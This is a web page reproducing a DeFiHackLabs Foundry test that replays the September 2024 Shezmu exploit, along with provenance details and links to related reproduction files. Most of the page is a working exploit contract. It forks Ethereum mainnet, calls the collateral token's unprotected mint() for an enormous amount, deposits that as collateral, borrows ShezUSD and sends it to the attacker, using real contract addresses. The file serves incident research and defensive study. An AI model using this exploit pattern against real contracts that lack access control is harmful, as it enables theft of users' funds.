Public reproduction file
src/test/2024-09/Shezmu_exp.sol
Public reproduction file for dataset entry Shezmu.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 4.9M USD8// Attacker : https://etherscan.io/address/0xa3a64255484ad65158af0f9d96b5577f79901a1d9// Attack Contract : https://etherscan.io/address/0xEd4B3d468DEd53a322A8B8280B6f35aAE8bC499C10// Vulnerable Contract : https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f9516792411// Attack Tx : https://etherscan.io/tx/0x39328ea4377a8887d3f6ce91b2f4c6b19a851e2fc5163e2f83bbc2fc136d0c7113// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924#code16// @Analysis17// Post-mortem : https://medium.com/coinmonks/decoding-shezmus-4-9-million-exploit-10dc0266b25b18// Twitter Guy : https://x.com/shoucccc/status/183722805386243724419// Hacking God : N/A20pragma solidity ^0.8.0;22address constant SHEZMU_VAULT_PROXY = 0x75a04A1FeE9e6f26385ab1287B20ebdCbdabe478;23address constant COLLATERAL_TOKEN = 0x641249dB01d5C9a04d1A223765fFd15f95167924;24address constant SHEZ_USD = 0xD60EeA80C83779a8A5BFCDAc1F3323548e6BB62d;26contract Shezmu is BaseTestWithBalanceLog {27 uint256 blocknumToForkFrom = 20794865 - 1;29 function setUp() public {30 vm.createSelectFork("mainnet", blocknumToForkFrom);31 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit32 fundingToken = SHEZ_USD;33 }35 function testExploit() public balanceLog {36 //implement exploit code here37 AttackContract attackContract = new AttackContract();38 attackContract.attack();39 }40}42contract AttackContract {43 address attacker;44 constructor() {45 attacker = msg.sender;46 }47 function attack() public {48 IShezmuCollateralToken(COLLATERAL_TOKEN).approve(SHEZMU_VAULT_PROXY, type(uint256).max);49 uint256 amount = type(uint128).max - 1;50 // Root cause: The Shezmu Vault collateral token contract mint() function 51 // lacks access control52 // anyone can mint any amount of collateral token53 IShezmuCollateralToken(COLLATERAL_TOKEN).mint(address(this), amount);55 IShezmuVault vault = IShezmuVault(SHEZMU_VAULT_PROXY);56 vault.addCollateral(amount);58 // This step will mint new ShezUSD to the borrower59 uint256 borrowAmount = 99999159998000000000000000000;60 vault.borrow(borrowAmount);62 IERC20 shezUSD = IERC20(SHEZ_USD);63 shezUSD.transfer(attacker, shezUSD.balanceOf(address(this)));64 }65}67interface IShezmuCollateralToken {68 function approve(address spender, uint256 amount) external returns (bool);69 function mint(address to, uint256 amount) external;70}72interface IShezmuVault {73 function addCollateral(uint256 _colAmount) external;74 function borrow(uint256 _amount) external;75}Analysis
Dataset entry
Public Foundry test for “Shezmu” (2024-09-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-09/Bedrock_DeFi_exp.solSame month in the dataset · 155 lines
- src/test/2024-09/DOGGO_exp.solSame month in the dataset · 145 lines
- src/test/2024-09/OnyxDAO_exp.solSame month in the dataset · 340 lines
- src/test/2024-09/OTSeaStaking_exp.solSame month in the dataset · 109 lines
- src/test/2024-09/Penpiexyzio_exp.solSame month in the dataset · 449 lines
- src/test/2024-09/Pythia_exp.solSame month in the dataset · 103 lines
- src/test/2024-09/unverified_03f9_exp.solSame month in the dataset · 73 lines
- src/test/2024-09/unverified_5697_exp.solSame month in the dataset · 40 lines
- src/test/2024-09/unverified_766a_exp.solSame month in the dataset · 74 lines
- src/test/2024-09/WXETA_exp.solSame month in the dataset · 81 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa3a64255484ad65158af0f9d96b5577f79901a1d
- Attack Contract
0xed4b3d468ded53a322a8b8280b6f35aae8bc499c
- Vulnerable Contract
0x641249db01d5c9a04d1a223765ffd15f95167924
- Attack Tx
0x39328ea4377a8887d3f6ce91b2f4c6b19a851e2fc5163e2f83bbc2fc136d0c71
- Post: https://medium.com/coinmonks/decoding-shezmus-4-9-million-exploit-10dc0266b25b
- Twitter: https://x.com/shoucccc/status/1837228053862437244
- Explorer: https://etherscan.io/address/0xa3a64255484ad65158af0f9d96b5577f79901a1d
- Explorer: https://etherscan.io/address/0xEd4B3d468DEd53a322A8B8280B6f35aAE8bC499C
- Explorer: https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924
- Explorer: https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924#code
File record
- Name
- Shezmu
- Path
- src/test/2024-09/Shezmu_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 07235ec95b8a91e5b5ca58c711a4b6bca04c5156
- Language
- Solidity
- Size
- 76 lines
- Date
- 2024-09-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-09/Shezmu_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 07235ec95b8a91e5b5ca58c711a4b6bca04c5156, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.